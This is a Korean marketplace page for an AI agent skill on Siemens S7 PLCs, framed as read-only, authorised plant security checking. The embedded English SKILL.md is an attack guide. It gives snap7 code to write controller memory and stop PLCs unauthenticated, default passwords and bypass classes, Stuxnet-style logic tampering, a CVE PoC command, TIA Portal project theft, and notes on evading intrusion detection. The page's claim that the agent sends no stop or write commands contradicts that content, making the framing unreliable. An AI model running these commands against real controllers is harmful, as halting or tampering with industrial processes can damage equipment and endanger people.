ics-s7comm
하는 일
이 안내서는 공장과 인프라에서 흔한 Siemens S7 컨트롤러의 보안 점검을 다룹니다. 정지와 쓰기 명령이 장비를 멈출 수 있으므로 서면 승인을 받은 공장 보안 팀을 위한 가이드입니다.
사용하는 경우
- ✓허가된 검토에서 Siemens S7 컨트롤러와 펌웨어를 식별해야 할 때.
- ✓Siemens PLC가 얼마나 강하게 보호되는지 확인하고 싶을 때.
- ✓공장이 컨트롤러 메모리 구조의 읽기 전용 목록을 필요로 하는 경우.
스킬 링크
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/ics-ot/s7comm/SKILL.md복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.
사용 방법
가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.
바로 붙여넣을 수 있는 메시지
Claude Code, Codex, Cursor용입니다. 프로젝트 폴더에서 실행하면 스킬이 설치됩니다.
SKILL.md를 다운로드해 에이전트의 스킬 폴더에 넣으세요.
AI에게 요청하는 예시
“우리 Siemens S7 컨트롤러를 식별하고, 아무것도 바꾸지 않고 각 컨트롤러가 얼마나 잘 보호되는지 알려 주시겠어요?”
매주 새 스킬 5개. 읽는 데 1분.
작동 방식
에이전트는 읽기 전용 모드로 연결해 컨트롤러 식별 정보와 보호 수준을 읽고, 결과를 보고합니다. 정지, 시작, 쓰기 명령은 보내지 않습니다.
기술 내용 (원본 SKILL.md)
작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.
Siemens S7 PLC Attack
S7Comm runs over ISO-on-TCP (RFC 1006), TCP/102. Siemens PLCs (S7-300, S7-400, S7-1200, S7-1500) speak it.
Discover
nmap -p 102 --script=s7-info 10.0.0.0/24
# s7-info NSE returns Module Type, Order Code, Firmware, PLC name
# Or with snap7
python3 -c '
import snap7
c = snap7.client.Client()
c.connect("10.0.0.50", 0, 1) # IP, rack, slot
print(c.get_cpu_info())
print(c.get_cp_info())
print(c.get_order_code())
'
Read / Write data blocks
S7 memory areas: DB (data block), M (memory bits), E (input), A (output), T (timer), C (counter).
import snap7
from snap7 import util
c = snap7.client.Client()
c.connect("10.0.0.50", 0, 1)
# Read 100 bytes from DB10
data = c.db_read(10, 0, 100)
# Decode:
print("DB10.DBX0.0 (bit):", util.get_bool(data, 0, 0))
print("DB10.DBW2 (int):", util.get_int(data, 2))
print("DB10.DBD4 (real):", util.get_real(data, 4))
# Write back
util.set_real(data, 4, 99.9)
c.db_write(10, 0, data)
Stop / Start the PLC
c.plc_stop() # ⚠ halts execution of the user program — process stops
c.plc_hot_start() # Resume
c.plc_cold_start() # Restart with full init
# Each is unauthenticated on S7-300/400 by default.
Authentication / "Protection Level" differences
| PLC family | Default protection | Bypass class |
|---|---|---|
| S7-300/400 | Often none ("No Protection") | Direct |
| S7-1200 (FW < V4) | None or password (cleartext on wire) | Sniff password |
| S7-1200 (FW V4+) | Password + challenge-response | Replay session, weak hash |
| S7-1500 | Password + challenge | CVE-2019-10936 (info leak), then offline crack |
# S7-1200/1500 password auth via snap7's set_session_password
c.set_session_password("changeme")
# Common defaults: "0000000", "siemens", "100", blank, vendor name
Stuxnet-class primitives (S7-300/400 still in many old fleets)
- Function block tampering: write a custom FB that replaces an existing one — process logic silently changes.
- OB1 hook: prepend a payload block to OB1 (the cyclic program block). Runs every scan cycle.
- PROFIBUS frame injection (requires hardware): forge sensor data so the PLC sees normal values while actuators are mis-driven.
# Write a DB byte that's a control flag in the PLC program
c.write_area(0x84, 1, 0, bytearray([0xFF])) # write to DB1 byte 0
CVE-2019-10936 — info leak on S7-1200/1500
Send a crafted COTP packet → PLC returns memory regions (uncovered password hash on some firmwares):
# PoC: github.com/Nibblesec/s7-info-leak
python3 leak.py 10.0.0.50
TIA Portal interaction
If you have network access to TIA Portal (the engineering workstation) instead of just the PLC, you can:
- Steal the project file (
.ap16) — contains every PLC's logic, comments, possibly password hashes - Replace the project being deployed to inject persistent logic changes
- Default TIA Portal SQL — port 1433 with default sa / no password on older installs
OPSEC + safety
- Physical safety:
plc_stop()halts whatever the PLC controls. Pumps stop, valves freeze in last state, motors coast. Confirm scope authorization for stop-class testing. - Read-only enumeration is generally safe and silent. S7 has no audit log.
- IT-OT IDS (Claroty, Nozomi, Dragos) flags new S7Comm sources — first connection from your IP is loud.
- Siemens TIA Portal logs every project upload/download. Tampering with logic is detectable post-engagement during the next checksum review.
References
- snap7 docs — snap7.sourceforge.net
- "The S7Comm protocol" — Wireshark dissector docs
- ICS-CERT advisories on Siemens products (https://www.cisa.gov/uscert/ics/advisories)
- "Stuxnet Deep Dive" — Ralph Langner (still the canonical reference)
자주 묻는 질문
보호 수준이 왜 중요한가요?
안내서는 오래된 S7 제품군과 새 제품군의 보호 설정이 다르며, 이것이 컨트롤러의 노출 정도를 바꾼다고 설명합니다.
정지 명령은 무엇을 할 수 있나요?
컨트롤러의 프로그램을 멈춰, 제어하는 공정을 중단시킬 수 있습니다.
어떤 PLC 제품군이 다뤄지나요?
S7-300, S7-400, S7-1200, S7-1500 컨트롤러를 다룹니다.
상세 정보
작성자의 원본 설명
Siemens S7 PLC attack — TCP/102 ISO-TP+S7-COMM, snap7 / python-snap7 enumeration, DB/M/E/A area read+write, PLC stop/start/run, password bypass (S7-300/400 vs S7-1200/1500 differences), CVE chain (e.g., Stuxnet's legacy primitives, CVE-2019-10936).
인기도
- GitHub 스타
- 6.5k
- 순위
- #14041
- 라이선스
- Apache-2.0
- 업데이트
- 2026. 11. 1.
댓글
- …
이 저장소의 다른 스킬
detector-overview
6.5k에이전트가 스캐너가 표시한 코드를 읽고, 표시된 곳 중 어디가 실제 보안 버그이고 어디가 오탐인지 판단하도록 돕습니다.
exploiter-overview
6.5k에이전트가 확인된 여러 보안 약점을 하나의 테스트 체인으로 묶고, 그 체인이 어디까지 닿을 수 있는지 확인하도록 돕습니다.
llm-redteam-overview
6.5k에이전트가 프롬프트 인젝션부터 모델 악용까지 15개 전술 그룹 중 테스트에 맞는 AI 레드팀 가이드를 찾도록 돕습니다.
aatmf-t01-prompt-injection
6.5k숨겨진 지시가 AI 시스템을 덮어쓰려 하는 프롬프트 인젝션을 설명해, 보안 테스터가 이를 점검할 수 있게 합니다.